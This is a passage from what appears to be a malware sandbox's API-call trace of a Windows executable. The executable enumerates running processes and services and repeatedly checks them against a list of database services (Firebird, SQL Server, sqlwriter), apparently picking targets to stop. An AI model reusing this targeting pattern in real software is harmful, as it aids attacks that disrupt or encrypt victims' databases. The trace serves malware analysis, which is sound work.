(lpString1="mssqlserver", lpString2="nsi") returned -1 [0213.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0213.230] lstrlenW (lpString="PcaSvc") returned 6 [0213.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0213.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0213.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0213.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0213.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0213.230] lstrlenW (lpString="PlugPlay") returned 8 [0213.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0213.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0213.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0213.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0213.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0213.230] lstrlenW (lpString="Power") returned 5 [0213.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0213.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0213.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0213.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0213.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0213.230] lstrlenW (lpString="ProfSvc") returned 7 [0213.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0213.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0213.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0213.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0213.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0213.230] lstrlenW (lpString="RpcEptMapper") returned 12 [0213.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0213.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0213.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0213.231] lstrlenW (lpString="RpcSs") returned 5 [0213.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0213.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0213.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0213.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0213.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0213.231] lstrlenW (lpString="SamSs") returned 5 [0213.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0213.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0213.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0213.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0213.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0213.231] lstrlenW (lpString="Schedule") returned 8 [0213.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0213.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0213.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0213.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0213.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0213.231] lstrlenW (lpString="SecurityHealthService") returned 21 [0213.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0213.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0213.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0213.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0213.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0213.231] lstrlenW (lpString="SENS") returned 4 [0213.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0213.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0213.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0213.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0213.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0213.232] lstrlenW (lpString="ShellHWDetection") returned 16 [0213.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.232] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0213.232] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0213.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0213.232] lstrlenW (lpString="Spooler") returned 7 [0213.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0213.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0213.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0213.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0213.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0213.232] lstrlenW (lpString="StateRepository") returned 15 [0213.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0213.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0213.232] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0213.232] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0213.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0213.232] lstrlenW (lpString="SysMain") returned 7 [0213.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0213.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0213.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0213.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0213.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0213.232] lstrlenW (lpString="SystemEventsBroker") returned 18 [0213.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0213.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0213.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0213.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0213.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0213.232] lstrlenW (lpString="Themes") returned 6 [0213.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0213.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0213.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0213.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0213.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0213.233] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0213.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0213.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0213.233] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0213.233] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0213.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0213.237] Process32FirstW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.237] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.238] lstrlenW (lpString="System") returned 6 [0213.238] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.238] lstrlenW (lpString="smss.exe") returned 8 [0213.239] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.239] lstrlenW (lpString="csrss.exe") returned 9 [0213.239] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.239] lstrlenW (lpString="wininit.exe") returned 11 [0213.239] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.240] lstrlenW (lpString="csrss.exe") returned 9 [0213.240] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.240] lstrlenW (lpString="winlogon.exe") returned 12 [0213.240] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.482] lstrlenW (lpString="services.exe") returned 12 [0213.483] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.483] lstrlenW (lpString="lsass.exe") returned 9 [0213.483] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0213.483] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0213.484] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0213.484] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0213.484] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.484] lstrlenW (lpString="svchost.exe") returned 11 [0213.484] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.485] lstrlenW (lpString="svchost.exe") returned 11 [0213.485] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.485] lstrlenW (lpString="dwm.exe") returned 7 [0213.485] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.486] lstrlenW (lpString="svchost.exe") returned 11 [0213.486] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.486] lstrlenW (lpString="svchost.exe") returned 11 [0213.486] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.487] lstrlenW (lpString="svchost.exe") returned 11 [0213.487] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.487] lstrlenW (lpString="svchost.exe") returned 11 [0213.487] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.488] lstrlenW (lpString="svchost.exe") returned 11 [0213.488] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.488] lstrlenW (lpString="svchost.exe") returned 11 [0213.488] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.488] lstrlenW (lpString="svchost.exe") returned 11 [0213.488] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.489] lstrlenW (lpString="svchost.exe") returned 11 [0213.489] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.489] lstrlenW (lpString="svchost.exe") returned 11 [0213.489] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.490] lstrlenW (lpString="svchost.exe") returned 11 [0213.490] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.490] lstrlenW (lpString="spoolsv.exe") returned 11 [0213.490] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.491] lstrlenW (lpString="svchost.exe") returned 11 [0213.491] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.492] lstrlenW (lpString="audiodg.exe") returned 11 [0213.492] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0213.492] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0213.492] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0213.493] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0213.493] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0213.493] lstrlenW (lpString="Memory Compression") returned 18 [0213.493] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0213.493] lstrlenW (lpString="sihost.exe") returned 10 [0213.494] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.494] lstrlenW (lpString="svchost.exe") returned 11 [0213.494] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0213.494] lstrlenW (lpString="taskhostw.exe") returned 13 [0213.494] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0213.495] lstrlenW (lpString="msoia.exe") returned 9 [0213.495] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.495] lstrlenW (lpString="explorer.exe") returned 12 [0213.495] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0213.496] lstrlenW (lpString="SearchUI.exe") returned 12 [0213.496] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0213.496] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0213.496] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0213.497] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0213.497] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.497] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.497] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0213.498] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0213.498] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0213.498] lstrlenW (lpString="dllhost.exe") returned 11 [0213.498] Process32NextW (in: hSnapshot=0x378, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0213.498] CloseHandle (hObject=0x378) returned 1 [0213.499] Sleep (dwMilliseconds=0x1f4) [0214.233] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b1c0 [0214.234] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0214.235] GetLastError () returned 0xea [0214.235] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0214.235] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0214.236] CloseServiceHandle (hSCObject=0x447b1c0) returned 1 [0214.236] lstrlenW (lpString="Appinfo") returned 7 [0214.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0214.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0214.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0214.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0214.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0214.236] lstrlenW (lpString="AppXSvc") returned 7 [0214.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0214.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0214.236] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0214.236] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0214.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0214.236] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.237] lstrlenW (lpString="Audiosrv") returned 8 [0214.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0214.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0214.237] lstrcmpiW 